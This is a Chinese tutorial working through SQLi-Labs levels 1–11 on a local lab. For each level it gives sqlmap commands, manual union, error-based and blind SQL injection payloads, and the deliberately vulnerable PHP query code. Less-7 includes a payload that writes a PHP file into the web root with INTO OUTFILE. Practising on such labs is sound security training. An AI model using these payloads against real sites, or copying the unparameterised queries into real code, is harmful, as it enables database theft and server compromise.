人员流动性过大一直是乙方公司痛点。虽然试用期间都有岗前学习,但老员工忙于项目无暇带新人成长,入职新人的学习基本靠自己不断摸索。期望看相关文档就可以一蹴而是不现实的。而按部就班的学习又很难短期内将知识有效运用到工作中。

工作中的学习需要明确目的,制定目标然后定制各个阶段的任务。 例如SQL注入学习可以把目标分化为漏洞验证、漏洞利用,从熟悉工具和原理入手之后不断的深入提升。然后再考虑漏洞修复。

本文用SQLi-Labs作为测试环境,对学习SQL注入按利用工具、手工测试做粗浅总结;

一、环境介绍

SQLi-Labs 是一个专业的SQL注入练习平台

下面的测试场景都支持GET和POST两种注入方式:

1.报错注入(联合查询) 
1)字符型 
2)数字型 
2.报错注入(基于二次注入) 
3.盲注 
1)基于布尔值 
2)基于时间 
4.UPDATE型注入练习 
5.INSERT型注入练

  1. HTTP头部注入 
    1)基于Referer 
    2)基于UserAgent 
    3)基于Cookie
  2. 二次排序注入练习

二、工具准备

1、SQLMAP:SQL注入工具
2、BURPSUITE:监控每一次请求包的HTTP状态
3、Seay源代码审计系统插件:Mysql监控
4、编码转换:
1、http://www.107000.com/T-Hex/
2、python自带:print "hex数值".decode("hex")

三、环境搭建

phpstudy开启mysql日志、apache日志
windows 7设置目录为完全控制;
源码地址:SQLi-Labs
https://github.com/Audi-1/sqli-labs

TIPS:为了更清楚的摸索架构,MYSQL中我又新建了数据库[the_flag_db]、数据表[the_flag_table]、数据内容[flags{Hello,Iamflags]; 
建表语句

SET FOREIGN_KEY_CHECKS=;

-- ----------------------------
-- Table structure for `the_flag_table`
-- ----------------------------
DROP TABLE IF EXISTS `the_flag_table`;
CREATE TABLE `the_flag_table` (
`the_flag_content` varchar() DEFAULT NULL,
`the_value123456` int() DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=gbk; -- ----------------------------
-- Records of the_flag_table
-- ----------------------------
INSERT INTO `the_flag_table` VALUES ('flags{Hello,Iamflags', '');
INSERT INTO `the_flag_table` VALUES ('flags2(hello,test)', ''); -- ----------------------------
-- Table structure for `the_test`
-- ----------------------------
DROP TABLE IF EXISTS `the_test`;
CREATE TABLE `the_test` (
`test` int() DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=gbk; -- ----------------------------
-- Records of the_test
-- ----------------------------

四、学习目的

学习SQLMAP封装的注入语句原理

  • 提炼测试语句
  • 熟悉sqlmap内部封装的Mysql注入语句

学习php代码注入漏洞的闭合形式

  • 熟悉sql注入产生的字段
  • 漏洞验证(工具+手工)

五、基础知识

漏洞验证

当前数据库名
sqlmap -u “http://vul.com/vultest.php?id=1” –current-db

漏洞利用

数据库枚举
sqlmap -u “http://vul.com/vultest.php?id=1” –dbs
数据库内容
sqlmap -u “http://vul.com/vultest.php?id=1” -D,-T,-C,–dump-alll
盲注手法
sqlmap -u “http://vul.com/vultest.php?id=1” –technique BST
自动选择
sqlmap -u “http://vul.com/vultest.php?id=1” –batch

常用选项

sqlmap -u “http://vul.com/vultest.php?id=1” --current-db --technique BST --batch

SQL基础

SQL功能 操作符
数据定义 CREATE、DROP、ALTER
数据查询 SELECT
数据操纵 INSERT、UPDATE、DELETE
数据控制 GRANT、REVOKE、DENY
事务控制 BEGIN、COMMIT、ROLLBACK
嵌入型/服务器端编程 DECLARE、EXPLAIN、OPEN、FETCH、CLOSE、PREPARE、EXECUTE、DESCRIBE
参考了WOOYUN中注入方式的文章链接:
>【利用insert,update和delete注入获取数据】

六、关卡学习

这几关是GET形式的注入

  • Less-1 Error Based- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1" --current-db

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,updatexml(1,concat(0x7e,(select database())),1),3-- -

3)注入点产生代码

$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-2 Error Based- Intiger

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=2" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-2/index.php?id=1 and 1=2 union select 1,2,updatexml(1,concat(0x7e,database()),1)-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-3 Error Based- String (with Twist)

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-3/index.php?id=1') and 1=2 UNION SELECT 1,2,updatexml(1,concat(0x7e,database()),1)-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-4 Error Based- DoubleQuotes String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-4/index.php?id=1") and 1=2 union select 1,2,updatexml(1,concat(0x7e,(select database())),1)-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-5 Double Query- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-5/index.php?id=1' union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result); if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
  • Less-6 Double Query- Double Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

http://127.0.0.1/hacker/sqli-labs-master/Less-6/index.php?id=1" and 1=2 union select 1,1,updatexml(1,concat(0x7e,(database())),1)-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-7 Dump into Outfile

1)工具用法:

《漏洞验证》
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=1" --current-db --threads 10 --batch --technique BES
《文件导出》
这关用sqlmap没有成功.

2)手工注入 
经验:这关是练习的文件的写入,使用函数into outfile,导出shell总是失败,查看mysql日志看出原来是因为少了个**)**号,sqlmap语句闭合不正确无法导出文件,闭合就可以了;

http://127.0.0.1/hacker/sqli-labs-master/Less-7/index.php?id=
1')) union select 1,2,'<?php phpinfo(); ?>' into outfile "D:\\phpStudyx64\\WWW\\hacker\\sqli-labs-master\\Less-7\\union2.php"-- -

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-8 Blind- Boolian- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-8/index.php?id=1" --current-db --threads 10 --batch --technique BES

2)手工注入

less8的注入点不显示错误信息; 
数据库执行sql语句返回为真时:返回You are in………..,为假时不返回信息,知识点在考察盲注,所谓盲注也就是我们可以换中提问方式,数据库只需回答真或假。比如我们可以问当前数据库的第一个之母为m吗?数据库回答是这里则返回You are in………..,不是则不返回。 
相关知识点:

涉及函数 函数功能
ORD() 返回字符串第一个字符的 ASCII 值。
MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
char_length() 不管汉字还是数字或者是字母都算是一个字符。

截取SQLMAP测试语句

ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>51 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>54 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>56 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),1,1))>55 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>51 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>48 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(CHAR_LENGTH(DATABASE()) AS CHAR),0x20)),2,1))>1 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>64 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),2,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),5,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),8,1))>96 AND 'adpz'='adpz
ID:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),7,1))>96 AND 'adpz'='adpz

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-9 Blind- Time based- Single Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

2)手工注入 
相关知识点:考察时间盲注知识;

涉及函数 函数功能
ORD() 返回字符串第一个字符的 ASCII 值。
MID() MID() 函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代
sleep() 适用 MySQL 5,延时时间执行。
BENCHMARK() 适用 MySQL 4/5 ,延时时间执行。

截取SQLMAP测试语句

ID:1' AND (SELECT * FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1,0,2)))))cCsF) AND 'JQMs'='JQMs

3)注入点产生代码

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • Less-10 Blind- Time based- Double Quotes- String

1)工具用法:

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" --current-db --threads 10 --batch --technique BEST

2)手工注入

同Less-9类似,也是基于时间的盲注,只不过需要 " 来闭合。

3)注入点产生代码

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp); // connectivity $id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
SQLMAP 工具技巧
  • Less-9&Less-10 
    想要用SQLMAP测试实际的时间盲注语句,可以用下面的这条命令;
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-9/index.php?id=1" -D the_flag_db -T the_flag_table -C the_flag_content --dump --level  --risk  --technique T

这几关是POST形式的注入

  • Less-11 - POST - Error Based - Single quotes - String

1)工具用法:

SQLMAP POST注入用法之一,注入点处加 * 号,也可以用-r选项。
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-11/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

2)手工注入

这里用了burpsuite的repeater模块,在用户名处产生。用报错语句可以很快拿出数据,POST型注入用工具跑得好久。。。

POST /hacker/sqli-labs-master/Less-11/index.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89 uname=111' or 1=((updatexml(1,concat(0x7e,(database())),1)))-- -&passwd=111&submit=Submit

3)注入点产生代码

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp); // connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

【Mysql sql inject】【入门篇】SQLi-Labs使用 part 1【01-11】的更多相关文章

  1. 【Mysql sql inject】【入门篇】sqli-labs使用 part 4【18-20】

    这几关的注入点产生位置大多在HTTP头位置处 常见的HTTP注入点产生位置为[Referer].[X-Forwarded-For].[Cookie].[X-Real-IP].[Accept-Langu ...

  2. 【Mysql sql inject】【入门篇】SQLi-Labs使用 part 2【12-14】

    这几关主要是考察POST形式的SQLi注入闭合 ## Less-12 - POST - Error Based- Double quotes- String ### 1)知识点 主要考察报错注入中的双 ...

  3. 【Mysql sql inject】【入门篇】sqli-labs使用 part 3【15-17】

      Less-15- Blind- Boolian Based- String 1)工具用法: sqlmap -u --batch --technique BEST 2)手工注入 时间盲注放弃用手工了 ...

  4. 【Mysql sql inject】POST方法BASE64编码注入write-up

      翻到群里的小伙伴发出一道POST型SQL注入题,简单抓包判断出题目需要base64编码后才执行sql语句,为学习下SQL注入出题与闯关的思路+工作不是很忙,所以花点时间玩了一下,哈哈哈哈哈哈哈哈哈 ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. [转]sql语句中出现笛卡尔乘积 SQL查询入门篇

    本篇文章中,主要说明SQL中的各种连接以及使用范围,以及更进一步的解释关系代数法和关系演算法对在同一条查询的不同思路. 多表连接简介 在关系数据库中,一个查询往往会涉及多个表,因为很少有数据库只有一个 ...

  7. sql语句中出现笛卡尔乘积 SQL查询入门篇

    2014-12-29  凡尘工作室   阅 34985  转 95 本篇文章中,主要说明SQL中的各种连接以及使用范围,以及更进一步的解释关系代数法和关系演算法对在同一条查询的不同思路. 多表连接简介 ...

  8. MySQL:数据库入门篇4

    1. 视图 创建视图 create view 视图名字 as 查询sql语句; drop view 视图名字; alter view 视图名字 as 查询sql语句; 2. 触发器 1. 插入事件触发 ...

  9. MySQL:数据库入门篇1

    1,什么是数据库?——存储数据的仓库 数据库技术是计算机应用领域中非常重要的技术,它产生于20世纪60年代末,是数据管理的最新技术,也是软件技术的一个重要分支. 简单的说,数据库就是一个存放数据的仓库 ...

随机推荐

  1. 学习 Spring Boot:(二十九)Spring Boot Junit 单元测试

    前言 JUnit 是一个回归测试框架,被开发者用于实施对应用程序的单元测试,加快程序编制速度,同时提高编码的质量. JUnit 测试框架具有以下重要特性: 测试工具 测试套件 测试运行器 测试分类 了 ...

  2. [CF1132F]Clear the String

    题意 给你一个串s,每次可以花费1的代价删去一个子串,要求子串的每一位为同一个字符. 求删去整个串的最小代价. 分析 这是一道非常简单的区间\(DP\)问题,我们定义\(f[i][j]\)表示删去子串 ...

  3. 【LG 4831】Scarlet loves WenHuaKe(生成函数)

    题目链接 一道好题,第一次用生成函数做题.感谢赛珂狼教我这个做法. 首先我们显然可以把题目中的限制转化成一个二分图的模型:左边有$n$个点,右边有$m$个点,如果在棋盘$(i,j)$这个点上放了炮,那 ...

  4. 洛谷 P4475 巧克力王国 解题报告

    P4475 巧克力王国 题目描述 巧克力王国里的巧克力都是由牛奶和可可做成的.但是并不是每一块巧克力都受王国人民的欢迎,因为大家都不喜欢过于甜的巧克力. 对于每一块巧克力,我们设 \(x\) 和 \( ...

  5. JDBC详解(二)

    一:Statement与PreparedStatement的注意点 存在sql注入的危险,如果用户传入的id为“2 or 1=1”,将删除表中的所有数据.而PreparedStatement有效的防止 ...

  6. 初探ant-design(web版本)

    第一步安装ant-design插件 第二步查看项目目录 第三步运行项目 我们查看index.js文件 这个其实是Datepicker组件的展示效果 第四步我们按照下面的代码代替Index.js中的内容 ...

  7. hdu 2874(裸LCA)

    传送门:Problem 2874 https://www.cnblogs.com/violet-acmer/p/9686774.html 改了一晚上bug,悲伤辣么大,明天再补详细题解 题解: 题目中 ...

  8. vue-cli入门(二)——项目结构

    前言 在上一篇项目搭建文章中,我们已经下载安装了node环境以及vue-cli,并且已经成功构建了一个vue-cli项目,那么接下来,我们来梳理一下vue-cli项目的结构. 总体框架 一个vue-c ...

  9. hive hadoop 大数据初探

    一.环境搭建: 1.安装虚拟机,mac 系统推荐parallels:直接转化讲师发的xmdl后缀名的文件:里面自带了环境: 注意事项:mac 本机和虚拟机中centos 的通讯,需要修改centos中 ...

  10. springboot的跨域

    https://www.cnblogs.com/520playboy/p/7306008.html 1.对于前后端分离的项目来说,如果前端项目与后端项目部署在两个不同的域下,那么势必会引起跨域问题的出 ...